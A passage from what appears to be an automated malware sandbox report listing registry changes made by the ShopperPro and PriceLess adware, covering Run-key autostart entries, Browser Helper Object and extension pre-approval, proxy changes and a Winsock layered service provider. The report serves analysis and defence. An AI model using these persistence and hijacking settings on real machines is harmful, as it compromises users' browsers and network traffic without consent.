"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process rundll32.exe:3868 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"fe94ce1e" = "V/////%%"
"060df2cd" = "c/Au/XV/H/Ap/X2/GP/j/Xt/axAv/X6////%"
"f6ad6fa6" = "V/////%%"
"f2c53c49" = "UlAr/XJ/c//k////"
"f0bf0bde" = "///%"
"f1f24e29" = "Vl/l/C/////%"
"e8f9dcc7" = "UlAr/XJ/c//k////"
"a0743acc" = "N/////%%"
"c5705860" = "Vx////%%"
"d1abcdb6" = "///%"
"1520c6f1" = "V/////%%"
"a1dcff5b" = "V/////%%"
"0dc3ee96" = "/P////%%"
"3c09c42b" = "///%"
"7367429f" = "///%"
"a2e3b941" = "///%"
"48bd1aff" = "V/////%%"
"6185d035" = "VP/h/CP/V//l////"
"37b7a6d8" = "UlAr/XJ/c//k////"

[HKU\.DEFAULT\SOFTWARE\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
"493c7345" = "i01 06b0o01D06I0px0S06I0px1O00%%, pl1e06b0i01T0780jx1B06E0nU1h02I0nl1 07x0"
"3efeb33e" = ""

[HKU\.DEFAULT\SOFTWARE\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"0e93c3f3" = "///%"
"340d3099" = "/P////%%"
"d94388d2" = "GlAk/X6/G/Ap/YV/UxAk/YZ/Gl////%%"
"c6c5dd44" = "V/////%%"
"1c311243" = "GlAk/X6/G/Ap/YV/UxAk/YZ/Gl////%%"
"2e22d94e" = "///%"
"0c230bcb" = "///%"
"72758a5d" = "///%"
"c24899a6" = "Vx/g/CD/Mx////%%"
"2d71d5ab" = "V/////%%"
"38583bc3" = "N//e/Ct/Vx/l/C/////%"

[HKU\.DEFAULT\SOFTWARE\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
"a47da861" = "o01O07x0m00K02E0aU1e0700m01 0640ml1e06I0al1T0780pU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1e0700m01e0780px0S06E0ml1B02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1W06t0i01A0780px1 02I0nU1M06m0aU1P06I0ox1S07b0i01e06U0n00T00%%, o01O07x0m00K02E0aU1Y06h0ql1M0640ml1J07b0qx1A06t0al1T0780pU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1A0640qU1O06E0ml1J06m0nU1T06x0al1g06E0nx0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1A0640qU1O06E0ml1J06m0nU1T06x0al1T0780pU0T07t0nl1D06I0mU1O0640n01Y02E0, o01O07x0m00K02E0aU1W06E0o01S07b0nx1D07x0o01N06Y0jx0S06b0nU1Z02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1W06E0o01S07b0nx1D07x0o01N06Y0jx0S06E0ml1B02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1Z0640j01D06O0ix1N07t0oU1N06Y0jx0S06b0nU1Z02E0ix1S06h0nl1N07x0qx1Y06U0aU0%, o01O07x0m00K02E0aU1Z0640j01D06O0ix1Z0640n01Y02I0nl1 07x0aU1P06I0ox1S07b0i01e06U0n00T00%%"

[HKU\.DEFAULT\SOFTWARE\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"8b9e4cbc" = "V/////%%"

[HKU\.DEFAULT\SOFTWARE\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b]
"iiid" = "1"

[HKU\.DEFAULT\SOFTWARE\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"51d2f2ea" = "JlA /Y//b/Ak/YZ/c//x/W//I//x/CD/Ux/e////"
"7f69fa1f" = "///%"
"414bc593" = "///%"
"587b5709" = "V/////%%"

[HKU\.DEFAULT\SOFTWARE\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\00000000]
"370856c7" = ""

[HKU\.DEFAULT\SOFTWARE\AppDataLow\{12DA0E6F-5543-440C-BAA2-28BF01070AFA}\_be0fb33b\eae10f9d]
"bbf88800" = "///%"
"27ddcf6f" = "///%"
"65114b36" = "Vl/l////"
"e46c271e" = "///%"
"c99a5f5c" = "///%"

The process WerFault.exe:1524 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 C3 00"

The process WerFault.exe:4024 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 C3 00"

The process WerFault.exe:2364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "09 04 00 C0 01 00 00 00 00 00 00 00 F7 F4 C3 00"

The process WerFault.exe:3520 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\Debug]
"ExceptionRecord" = "05 00 00 C0 00 00 00 00 00 00 00 00 EE 51 CC 00"

The process ShopperPro.exe:3492 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]
"{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}" = "Type: REG_SZ, Length: 0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "25383020-30f5-408f-b983-88ab51edfcbf"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID]
"{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtycl"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "41 A5 02 F5 FE 2A D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1463.0.0.0"
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "2.0.7791.1463"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "B1 55 B7 F7 FE 2A D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Type: REG_SZ, Length: 0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.0.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "B1 55 B7 F7 FE 2A D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration]

The Application deletes the following value(s) in system registry:

The process regsvr32.exe:1848 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{b608cc98-54de-4775-96c9-097de398500c}]
"NoExplorer" = "1"

[HKCR\Wow6432Node\CLSID\{b608cc98-54de-4775-96c9-097de398500c}]
"(Default)" = "PriceFountain"

[HKCR\Wow6432Node\CLSID\{b608cc98-54de-4775-96c9-097de398500c}\InProcServer32]
"ThreadingModel" = "Apartment"
"(Default)" = "C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainIE.dll"

The process regsvr32.exe:3436 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process regsvr32.exe:2508 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\P886352d4_fc6a_414e_ae29_63021b07d2c1_.P886352d4_fc6a_414e_ae29_63021b07d2c1_.9\CLSID]
"(Default)" = "{886352d4-fc6a-414e-ae29-63021b07d2c1}"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID]
"{886352d4-fc6a-414e-ae29-63021b07d2c1}" = "1"

[HKCR\P886352d4_fc6a_414e_ae29_63021b07d2c1_.P886352d4_fc6a_414e_ae29_63021b07d2c1_\CurVer]
"(Default)" = "P886352d4_fc6a_414e_ae29_63021b07d2c1_.9"

[HKCR\P886352d4_fc6a_414e_ae29_63021b07d2c1_.P886352d4_fc6a_414e_ae29_63021b07d2c1_\CLSID]
"(Default)" = "{886352d4-fc6a-414e-ae29-63021b07d2c1}"

[HKCR\P886352d4_fc6a_414e_ae29_63021b07d2c1_.P886352d4_fc6a_414e_ae29_63021b07d2c1_.9]
"(Default)" = "PriceLess"

[HKCR\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\ProgID]
"(Default)" = "P886352d4_fc6a_414e_ae29_63021b07d2c1_.9"

[HKCR\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\InprocServer32]
"(Default)" = "%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.x64.dll"
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\VersionIndependentProgID]
"(Default)" = "P886352d4_fc6a_414e_ae29_63021b07d2c1_"

[HKCR\P886352d4_fc6a_414e_ae29_63021b07d2c1_.P886352d4_fc6a_414e_ae29_63021b07d2c1_]
"(Default)" = "PriceLess"

[HKCR\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
"(Default)" = "PriceLess"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
"(Default)" = "PriceLess"

"NoExplorer" = "1"

The Application deletes the following registry key(s):

[HKCR\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\ProgID]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
[HKCR\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\Programmable]
[HKCR\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
[HKCR\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\InprocServer32]
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
[HKCU\Software\Microsoft\Internet Explorer\ApprovedExtensionsMigration\{886352d4-fc6a-414e-ae29-63021b07d2c1}]
[HKCR\CLSID\{886352d4-fc6a-414e-ae29-63021b07d2c1}\VersionIndependentProgID]

The process regsvr32.exe:3176 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process lspinst.exe:3412 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 E0 A5 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1020"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "RPJ_bQtlx|acP_w}Yu`fRISI`@Ntl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "16"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
